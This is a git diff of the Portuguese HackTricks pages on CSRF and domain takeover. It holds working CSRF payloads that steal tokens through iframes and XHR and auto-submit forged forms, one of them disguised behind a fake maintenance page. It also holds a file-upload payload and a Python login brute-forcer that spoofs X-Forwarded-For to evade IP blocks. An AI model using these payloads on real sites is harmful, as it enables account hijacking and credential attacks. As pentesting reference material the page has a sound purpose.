|
||||
```markup
|
||||
<script>
|
||||
var xh;
|
||||
|
|
@ -326,19 +281,7 @@ data: "param=value¶m2=value2"
|
|||
})
|
||||
</script>
|
||||
```
|
||||
### Requisição POST multipart/form-data
|
||||
|
||||
A requisição POST multipart/form-data é um tipo de requisição utilizada para enviar dados binários, como arquivos, através de um formulário HTML. Essa técnica é comumente utilizada em aplicações web para o envio de arquivos de imagem, áudio, vídeo, entre outros.
|
||||
|
||||
Nesse tipo de requisição, os dados são divididos em várias partes, cada uma com seu próprio cabeçalho e conteúdo. Cada parte é separada por um delimitador, que é especificado no cabeçalho da requisição.
|
||||
|
||||
Para realizar um ataque de Cross-Site Request Forgery (CSRF) em uma requisição POST multipart/form-data, o invasor precisa enganar o usuário para que ele execute uma ação indesejada em um site legítimo. Isso pode ser feito através de técnicas como phishing, onde o invasor envia um e-mail falso ou cria um site malicioso que se passa pelo site legítimo.
|
||||
|
||||
Ao explorar uma vulnerabilidade CSRF em uma requisição POST multipart/form-data, o invasor pode realizar ações em nome do usuário autenticado, como enviar um arquivo malicioso para o servidor, alterar informações do usuário ou executar outras ações indesejadas.
|
||||
|
||||
Para proteger uma aplicação contra ataques CSRF em requisições POST multipart/form-data, é recomendado utilizar mecanismos de proteção, como tokens CSRF. Esses tokens são gerados pelo servidor e incluídos no formulário HTML. Ao enviar a requisição, o token é verificado pelo servidor para garantir que a requisição seja legítima e não tenha sido gerada por um atacante.
|
||||
|
||||
É importante que os desenvolvedores estejam cientes dessa vulnerabilidade e implementem as devidas medidas de segurança para proteger suas aplicações contra ataques CSRF.
|
||||
### requisição POST multipart/form-data
|
||||
```javascript
|
||||
myFormData = new FormData();
|
||||
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
|
||||
|
|
@ -351,79 +294,7 @@ headers: {"Content-Type": "application/x-www-form-urlencoded"},
|
|||
mode: "no-cors"
|
||||
});
|
||||
```
|
||||
### Requisição POST multipart/form-data v2
|
||||
|
||||
In this technique, we will explore how to perform a Cross-Site Request Forgery (CSRF) attack using a multipart/form-data POST request.
|
||||
|
||||
Nesta técnica, exploraremos como realizar um ataque de Cross-Site Request Forgery (CSRF) usando uma requisição POST multipart/form-data.
|
||||
|
||||
#### Introduction
|
||||
|
||||
#### Introdução
|
||||
|
||||
Cross-Site Request Forgery (CSRF) is an attack that tricks the victim into submitting a malicious request. This attack occurs when a malicious website or application forces the victim's browser to make a request to a target website where the victim is authenticated.
|
||||
|
||||
Cross-Site Request Forgery (CSRF) é um ataque que engana a vítima a enviar uma requisição maliciosa. Esse ataque ocorre quando um site ou aplicativo malicioso força o navegador da vítima a fazer uma requisição para um site alvo onde a vítima está autenticada.
|
||||
|
||||
#### Exploiting CSRF with multipart/form-data POST request
|
||||
|
||||
#### Explorando CSRF com requisição POST multipart/form-data
|
||||
|
||||
1. Identify the target website that is vulnerable to CSRF.
|
||||
|
||||
1. Identifique o site alvo que é vulnerável a CSRF.
|
||||
|
||||
2. Analyze the target website's functionality and identify a form or action that performs a sensitive action, such as changing the user's password or making a financial transaction.
|
||||
|
||||
2. Analise a funcionalidade do site alvo e identifique um formulário ou ação que execute uma ação sensível, como alterar a senha do usuário ou realizar uma transação financeira.
|
||||
|
||||
3. Craft a malicious HTML page or email that includes a form with the target website's action URL and necessary input fields.
|
||||
|
||||
3. Crie uma página HTML ou e-mail malicioso que inclua um formulário com a URL de ação do site alvo e os campos de entrada necessários.
|
||||
|
||||
4. Include a hidden input field with the CSRF token value obtained from the target website.
|
||||
|
||||
4. Inclua um campo de entrada oculto com o valor do token CSRF obtido do site alvo.
|
||||
|
||||
5. Trick the victim into visiting the malicious page or clicking on the malicious email.
|
||||
|
||||
5. Engane a vítima para visitar a página maliciosa ou clicar no e-mail malicioso.
|
||||
|
||||
6. When the victim submits the form, the browser will automatically send the multipart/form-data POST request to the target website, performing the sensitive action.
|
||||
|
||||
6. Quando a vítima enviar o formulário, o navegador enviará automaticamente a requisição POST multipart/form-data para o site alvo, executando a ação sensível.
|
||||
|
||||
7. The target website will process the request, considering it legitimate since it came from the victim's browser with valid authentication cookies.
|
||||
|
||||
7. O site alvo processará a requisição, considerando-a legítima, uma vez que veio do navegador da vítima com cookies de autenticação válidos.
|
||||
|
||||
8. The sensitive action will be performed on behalf of the victim without their knowledge or consent.
|
||||
|
||||
8. A ação sensível será realizada em nome da vítima sem o seu conhecimento ou consentimento.
|
||||
|
||||
#### Mitigating CSRF Attacks
|
||||
|
||||
#### Mitigando Ataques CSRF
|
||||
|
||||
To mitigate CSRF attacks, web developers can implement the following measures:
|
||||
|
||||
Para mitigar ataques CSRF, os desenvolvedores web podem implementar as seguintes medidas:
|
||||
|
||||
1. Implement CSRF tokens: Include unique tokens in each form or action that require user authentication. These tokens should be validated on the server-side to ensure that the request is legitimate.
|
||||
|
||||
1. Implemente tokens CSRF: Inclua tokens únicos em cada formulário ou ação que exija autenticação do usuário. Esses tokens devem ser validados no lado do servidor para garantir que a requisição seja legítima.
|
||||
|
||||
2. Use the SameSite attribute: Set the SameSite attribute to "Strict" or "Lax" on cookies to prevent them from being sent in cross-origin requests.
|
||||
|
||||
2. Use o atributo SameSite: Defina o atributo SameSite como "Strict" ou "Lax" nos cookies para evitar que sejam enviados em requisições de origem cruzada.
|
||||
|
||||
3. Implement CAPTCHAs: Use CAPTCHAs to verify that the request is being made by a human and not an automated script.
|
||||
|
||||
3. Implemente CAPTCHAs: Use CAPTCHAs para verificar se a requisição está sendo feita por um humano e não por um script automatizado.
|
||||
|
||||
By implementing these measures, web developers can significantly reduce the risk of CSRF attacks on their websites.
|
||||
|
||||
Ao implementar essas medidas, os desenvolvedores web podem reduzir significativamente o risco de ataques CSRF em seus sites.
|
||||
### requisição POST multipart/form-data v2
|
||||
```javascript
|
||||
var fileSize = fileData.length,
|
||||
boundary = "OWNEDBYOFFSEC",
|
||||
|
|
@ -442,19 +313,7 @@ body += "--" + boundary + "--";
|
|||
//xhr.send(body);
|
||||
xhr.sendAsBinary(body);
|
||||
```
|
||||
### Solicitação POST de formulário de dentro de um iframe
|
||||
|
||||
When an HTML form is submitted, the browser sends a POST request to the specified URL. This behavior can be exploited in a Cross-Site Request Forgery (CSRF) attack when an attacker tricks a user into submitting a form without their knowledge or consent.
|
||||
|
||||
Quando um formulário HTML é enviado, o navegador envia uma solicitação POST para a URL especificada. Esse comportamento pode ser explorado em um ataque de falsificação de solicitação entre sites (CSRF) quando um invasor engana um usuário para enviar um formulário sem o seu conhecimento ou consentimento.
|
||||
|
||||
To execute a CSRF attack from within an iframe, the attacker can create a hidden form on their malicious website that targets the vulnerable website. When the victim visits the malicious website, the hidden form is automatically submitted without their knowledge.
|
||||
|
||||
Para executar um ataque CSRF de dentro de um iframe, o invasor pode criar um formulário oculto em seu site malicioso que visa o site vulnerável. Quando a vítima visita o site malicioso, o formulário oculto é enviado automaticamente sem o seu conhecimento.
|
||||
|
||||
To prevent this type of attack, web developers can implement measures such as using anti-CSRF tokens, which are unique tokens embedded in forms to verify the authenticity of the request. Additionally, the `SameSite` attribute can be set to `Strict` or `Lax` in cookies to restrict their usage to the same site.
|
||||
|
||||
Para prevenir esse tipo de ataque, os desenvolvedores web podem implementar medidas como o uso de tokens anti-CSRF, que são tokens únicos incorporados em formulários para verificar a autenticidade da solicitação. Além disso, o atributo `SameSite` pode ser definido como `Strict` ou `Lax` nos cookies para restringir seu uso ao mesmo site.
|
||||
### Solicitação de POST de formulário a partir de um iframe
|
||||
```markup
|
||||
<--! expl.html -->
|
||||
|
||||
|
|
@ -472,31 +331,7 @@ function envia(){document.getElementById("formulario").submit();}
|
|||
</iframe>
|
||||
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
|
||||
```
|
||||
### **Roubar o Token CSRF e enviar uma requisição POST**
|
||||
|
||||
Um ataque de falsificação de solicitação entre sites (CSRF) ocorre quando um invasor engana um usuário autenticado a executar ações indesejadas em um aplicativo da web no qual o usuário está autenticado. Para realizar esse ataque, o invasor precisa roubar o token CSRF do usuário e enviá-lo em uma requisição POST.
|
||||
|
||||
Existem várias maneiras de roubar o token CSRF de um usuário. Alguns métodos comuns incluem:
|
||||
|
||||
- Engenharia social: o invasor pode enganar o usuário para que ele clique em um link malicioso ou visite um site comprometido que execute um script para roubar o token CSRF.
|
||||
- Cross-Site Scripting (XSS): se o aplicativo da web for vulnerável a XSS, o invasor pode injetar um script malicioso que rouba o token CSRF do usuário.
|
||||
- Ataques de força bruta: o invasor pode tentar adivinhar o token CSRF por meio de tentativas repetidas.
|
||||
|
||||
Depois de obter o token CSRF, o invasor pode enviá-lo em uma requisição POST para executar ações indesejadas em nome do usuário autenticado. Isso pode incluir alterar informações do usuário, fazer compras não autorizadas ou realizar outras atividades maliciosas.
|
||||
|
||||
Para se proteger contra ataques CSRF, os desenvolvedores devem implementar medidas de segurança, como:
|
||||
|
||||
- Usar tokens CSRF exclusivos e aleatórios para cada sessão do usuário.
|
||||
- Validar o token CSRF em todas as requisições POST para garantir que ele seja válido e corresponda ao usuário autenticado.
|
||||
- Implementar políticas de SameSite para cookies para limitar a execução de solicitações de origem cruzada.
|
||||
|
||||
Os usuários também podem tomar medidas para se proteger contra ataques CSRF, como:
|
||||
|
||||
- Não clicar em links suspeitos ou visitar sites não confiáveis.
|
||||
- Manter o software do navegador e do sistema operacional atualizado para corrigir quaisquer vulnerabilidades conhecidas.
|
||||
- Usar extensões de navegador que bloqueiam scripts maliciosos e protegem contra ataques de XSS.
|
||||
|
||||
Ao estar ciente dos riscos e implementar medidas de segurança adequadas, os desenvolvedores e usuários podem reduzir significativamente a probabilidade de sucesso de um ataque CSRF.
|
||||
### **Roubar Token CSRF e enviar uma solicitação POST**
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest();
|
||||
|
|
@ -543,30 +378,7 @@ var GET_URL="http://google.com?param=VALUE"
|
|||
var POST_URL="http://google.com?param=VALUE"
|
||||
getTokenJS();
|
||||
```
|
||||
### **Roubar o Token CSRF e enviar uma solicitação Post usando um iframe, um formulário e Ajax**
|
||||
|
||||
Uma técnica comum de ataque CSRF (Cross-Site Request Forgery) envolve roubar o token CSRF de um usuário e usá-lo para enviar uma solicitação POST maliciosa em seu nome. Isso pode ser feito usando um iframe, um formulário ou Ajax.
|
||||
|
||||
#### Usando um iframe:
|
||||
|
||||
1. O atacante cria um site malicioso que contém um iframe apontando para o alvo legítimo.
|
||||
2. O iframe é carregado no navegador do usuário alvo, fazendo com que o token CSRF seja enviado automaticamente para o site malicioso.
|
||||
3. O atacante extrai o token CSRF do iframe usando JavaScript.
|
||||
4. O atacante usa o token CSRF roubado para enviar uma solicitação POST maliciosa para o alvo legítimo, executando a ação desejada.
|
||||
|
||||
#### Usando um formulário:
|
||||
|
||||
1. O atacante cria um formulário malicioso em seu site.
|
||||
2. O formulário é preenchido com os dados necessários para a solicitação POST maliciosa, incluindo o token CSRF roubado.
|
||||
3. O atacante usa JavaScript para enviar automaticamente o formulário para o alvo legítimo, executando a ação desejada.
|
||||
|
||||
#### Usando Ajax:
|
||||
|
||||
1. O atacante cria uma solicitação Ajax maliciosa em seu site.
|
||||
2. A solicitação Ajax é configurada com os dados necessários para a solicitação POST maliciosa, incluindo o token CSRF roubado.
|
||||
3. O atacante usa JavaScript para enviar a solicitação Ajax para o alvo legítimo, executando a ação desejada.
|
||||
|
||||
Essas técnicas permitem que um atacante explore a confiança entre o usuário e o site legítimo, enganando o navegador do usuário para que execute ações indesejadas em seu nome. Para se proteger contra ataques CSRF, os desenvolvedores devem implementar medidas de segurança, como o uso de tokens CSRF exclusivos e a validação adequada das solicitações.
|
||||
### **Roubar Token CSRF e enviar uma solicitação Post usando um iframe, um formulário e Ajax**
|
||||
```markup
|
||||
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
|
||||
<input type="text" name="username" value="AA">
|
||||
|
|
@ -586,39 +398,7 @@ document.getElementById("form1").submit();
|
|||
</script>
|
||||
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
|
||||
```
|
||||
### **Roubar o Token CSRF e enviar uma solicitação POST usando um iframe e um formulário**
|
||||
|
||||
Uma técnica comum de ataque CSRF (Cross-Site Request Forgery) envolve roubar o token CSRF de um usuário e usá-lo para enviar uma solicitação POST maliciosa. Isso pode ser feito usando um iframe e um formulário.
|
||||
|
||||
1. Primeiro, o atacante cria um site malicioso que contém um iframe invisível. O atributo `src` do iframe é definido como o URL do site alvo que contém a funcionalidade vulnerável.
|
||||
|
||||
```html
|
||||
<iframe style="display:none" src="https://www.sitetalvo.com/"></iframe>
|
||||
```
|
||||
|
||||
2. Em seguida, o atacante cria um formulário no site malicioso. O formulário é configurado para enviar uma solicitação POST para o URL vulnerável do site alvo. O token CSRF é incluído como um campo oculto no formulário.
|
||||
|
||||
```html
|
||||
<form action="https://www.sitetalvo.com/vulnerabilidade" method="POST">
|
||||
<input type="hidden" name="csrf_token" value="TOKEN_CSRF_AQUI">
|
||||
<!-- Outros campos do formulário -->
|
||||
<input type="submit" value="Enviar">
|
||||
</form>
|
||||
```
|
||||
|
||||
3. Quando um usuário visita o site malicioso, o iframe invisível é carregado em segundo plano. Isso faz com que o navegador do usuário faça uma solicitação GET para o site alvo, o que resulta na obtenção do token CSRF válido.
|
||||
|
||||
4. Em seguida, o formulário malicioso é enviado automaticamente usando JavaScript. Isso faz com que o navegador do usuário envie uma solicitação POST para o URL vulnerável do site alvo, incluindo o token CSRF roubado.
|
||||
|
||||
```html
|
||||
<script>
|
||||
document.forms[0].submit();
|
||||
</script>
|
||||
```
|
||||
|
||||
5. O servidor do site alvo recebe a solicitação POST e, como o token CSRF é válido, processa a solicitação como se fosse legítima. Isso pode levar a ações indesejadas, como alterar informações do usuário, fazer compras não autorizadas ou executar outras ações maliciosas.
|
||||
|
||||
Para se proteger contra esse tipo de ataque, os desenvolvedores devem implementar medidas de segurança, como a inclusão de tokens CSRF exclusivos em todas as solicitações POST e a validação desses tokens no servidor. Os usuários também devem estar cientes dos riscos de visitar sites não confiáveis e manter seus sistemas atualizados com as últimas correções de segurança.
|
||||
### **Roubar Token CSRF e enviar uma solicitação POST usando um iframe e um formulário**
|
||||
```markup
|
||||
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
|
||||
|
||||
|
|
@ -637,20 +417,6 @@ document.forms[0].submit.click();
|
|||
</script>
|
||||
```
|
||||
### **Roubar token e enviá-lo usando 2 iframes**
|
||||
|
||||
Um ataque de falsificação de solicitação entre sites (CSRF) é um tipo de ataque em que um invasor engana um usuário autenticado para executar ações indesejadas em um aplicativo da web no qual o usuário está autenticado. Um método comum para realizar um ataque CSRF é roubar o token de autenticação de um usuário e enviá-lo para um servidor controlado pelo invasor.
|
||||
|
||||
Neste exemplo, vamos explorar uma técnica em que o invasor usa dois iframes para roubar o token de autenticação de um usuário e enviá-lo para seu próprio servidor.
|
||||
|
||||
1. O invasor cria uma página maliciosa que contém dois iframes invisíveis.
|
||||
2. O primeiro iframe é carregado com a página alvo que contém a ação que o invasor deseja executar.
|
||||
3. O segundo iframe é carregado com uma página controlada pelo invasor que contém um script para roubar o token de autenticação.
|
||||
4. O script no segundo iframe acessa o documento do primeiro iframe e extrai o token de autenticação.
|
||||
5. O token de autenticação é enviado para o servidor controlado pelo invasor usando uma solicitação AJAX ou outra técnica de envio de dados.
|
||||
|
||||
Ao usar essa técnica, o invasor pode roubar o token de autenticação de um usuário autenticado e usá-lo para executar ações indesejadas em nome do usuário, como fazer alterações em suas configurações, enviar mensagens em seu nome ou realizar transações financeiras.
|
||||
|
||||
Para se proteger contra ataques CSRF, os desenvolvedores devem implementar medidas de segurança, como o uso de tokens de autenticação exclusivos para cada solicitação e a validação desses tokens antes de executar ações sensíveis. Os usuários também devem estar cientes dos riscos de clicar em links ou abrir páginas suspeitas, especialmente quando já estão autenticados em um aplicativo da web.
|
||||
```markup
|
||||
<script>
|
||||
var token;
|
||||
|
|
@ -681,42 +447,6 @@ height="600" width="800"></iframe>
|
|||
</form>
|
||||
```
|
||||
### **POSTRoubar token CSRF com Ajax e enviar um post com um formulário**
|
||||
|
||||
Uma técnica comum para explorar vulnerabilidades de Cross-Site Request Forgery (CSRF) é roubar o token CSRF de um usuário autenticado e usá-lo para enviar uma solicitação POST maliciosa. Isso pode ser feito usando Ajax para obter o token CSRF e, em seguida, enviá-lo junto com os dados do formulário em uma solicitação POST.
|
||||
|
||||
Aqui está um exemplo de como essa técnica pode ser implementada:
|
||||
|
||||
```javascript
|
||||
// Obter o token CSRF usando Ajax
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', '/get-csrf-token', true);
|
||||
xhr.onreadystatechange = function() {
|
||||
if (xhr.readyState === 4 && xhr.status === 200) {
|
||||
var csrfToken = xhr.responseText;
|
||||
|
||||
// Enviar uma solicitação POST com o token CSRF e os dados do formulário
|
||||
var formData = new FormData();
|
||||
formData.append('csrf_token', csrfToken);
|
||||
formData.append('data', 'dados maliciosos');
|
||||
|
||||
var xhr2 = new XMLHttpRequest();
|
||||
xhr2.open('POST', '/submit-form', true);
|
||||
xhr2.onreadystatechange = function() {
|
||||
if (xhr2.readyState === 4 && xhr2.status === 200) {
|
||||
console.log('Formulário enviado com sucesso!');
|
||||
}
|
||||
};
|
||||
xhr2.send(formData);
|
||||
}
|
||||
};
|
||||
xhr.send();
|
||||
```
|
||||
|
||||
Neste exemplo, o código JavaScript faz uma solicitação GET para obter o token CSRF do servidor. Em seguida, ele cria um objeto FormData e anexa o token CSRF e os dados maliciosos ao formulário. Por fim, uma solicitação POST é enviada para o servidor com o token CSRF e os dados do formulário.
|
||||
|
||||
É importante ressaltar que essa técnica só funcionará se o token CSRF estiver acessível por meio de uma solicitação Ajax. Além disso, o servidor deve aceitar solicitações POST com o token CSRF fornecido dessa maneira.
|
||||
|
||||
Os desenvolvedores devem implementar medidas de proteção adequadas, como a verificação do referenciador (Referer header) e a inclusão de tokens CSRF em formulários, para mitigar ataques de CSRF.
|
||||
```markup
|
||||
<body onload="getData()">
|
||||
|
||||
|
|
@ -744,30 +474,6 @@ document.getElementById("form").submit();
|
|||
</script>
|
||||
```
|
||||
### CSRF com Socket.IO
|
||||
|
||||
O Cross-Site Request Forgery (CSRF) é uma vulnerabilidade que permite que um atacante execute ações não autorizadas em nome de um usuário autenticado em um aplicativo da web. O Socket.IO é uma biblioteca JavaScript que permite a comunicação em tempo real entre o cliente e o servidor. Neste capítulo, discutiremos como o CSRF pode ser explorado em aplicativos que utilizam o Socket.IO.
|
||||
|
||||
#### Como o CSRF funciona com o Socket.IO?
|
||||
|
||||
O Socket.IO utiliza uma conexão persistente entre o cliente e o servidor para enviar e receber dados em tempo real. No entanto, essa conexão persistente também pode ser explorada por um atacante para realizar ataques CSRF.
|
||||
|
||||
O ataque CSRF com o Socket.IO ocorre quando um atacante engana um usuário autenticado a visitar um site malicioso que contém código JavaScript malicioso. Esse código JavaScript malicioso pode se conectar ao servidor Socket.IO legítimo e enviar comandos para executar ações indesejadas em nome do usuário autenticado.
|
||||
|
||||
#### Prevenção de CSRF com Socket.IO
|
||||
|
||||
Existem várias medidas que podem ser tomadas para mitigar o risco de CSRF em aplicativos que utilizam o Socket.IO:
|
||||
|
||||
1. **Verificação de origem**: O servidor Socket.IO pode verificar a origem das solicitações recebidas para garantir que elas provenham de um domínio confiável. Isso pode ser feito comparando o cabeçalho "Origin" da solicitação com uma lista de domínios confiáveis.
|
||||
|
||||
2. **Token CSRF**: Um token CSRF pode ser gerado pelo servidor e incluído em todas as solicitações enviadas pelo cliente. Esse token é então verificado pelo servidor para garantir que a solicitação seja legítima e não provenha de um ataque CSRF.
|
||||
|
||||
3. **Cookies seguros**: O uso de cookies seguros pode ajudar a mitigar o risco de CSRF. Os cookies seguros são enviados apenas por meio de conexões criptografadas (HTTPS), o que dificulta a interceptação por parte de um atacante.
|
||||
|
||||
4. **Política de mesma origem**: A política de mesma origem (Same Origin Policy) pode ser implementada para restringir o acesso a recursos do Socket.IO apenas a partir do mesmo domínio de origem. Isso impede que um site malicioso acesse a conexão Socket.IO de um usuário autenticado.
|
||||
|
||||
#### Conclusão
|
||||
|
||||
O CSRF com o Socket.IO é uma ameaça real em aplicativos da web que utilizam essa biblioteca para comunicação em tempo real. É importante implementar medidas de segurança adequadas, como verificação de origem, tokens CSRF, cookies seguros e política de mesma origem, para mitigar o risco de ataques CSRF bem-sucedidos.
|
||||
```markup
|
||||
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
||||
<script>
|
||||
|
|
@ -788,9 +494,9 @@ room: username
|
|||
});
|
||||
</script>
|
||||
```
|
||||
## CSRF Login Brute Force
|
||||
## Ataque de Força Bruta CSRF em Login
|
||||
|
||||
O código pode ser usado para realizar um ataque de força bruta em um formulário de login usando um token CSRF (Também está utilizando o cabeçalho X-Forwarded-For para tentar contornar um possível bloqueio de IP):
|
||||
O código pode ser usado para realizar um ataque de força bruta em um formulário de login utilizando um token CSRF (Também utiliza o cabeçalho X-Forwarded-For na tentativa de contornar um possível bloqueio de IP):
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
|
|
@ -846,31 +552,31 @@ login(USER, line.strip())
|
|||
|
||||
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof é o lar de todas as recompensas por bugs de criptografia.**
|
||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||||
|
||||
**Seja recompensado sem atrasos**\
|
||||
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.
|
||||
**Insights de Hacking**\
|
||||
Interaja com conteúdos que exploram a emoção e os desafios do hacking
|
||||
|
||||
**Adquira experiência em pentesting web3**\
|
||||
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||||
|
||||
**Torne-se uma lenda hacker web3**\
|
||||
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.
|
||||
**Últimos Anúncios**\
|
||||
Fique informado com os mais recentes lançamentos de recompensas por bugs e atualizações importantes da plataforma
|
||||
|
||||
[**Cadastre-se no HackenProof**](https://hackenproof.com/register) e comece a ganhar com seus hacks!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje mesmo!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,34 +1,36 @@
|
|||
# Domínio/Subdomínio takeover
|
||||
# Domain/Subdomain takeover
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Obtenha acesso hoje:
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
|
||||
Obtenha Acesso Hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Domínio takeover
|
||||
## Domain takeover
|
||||
|
||||
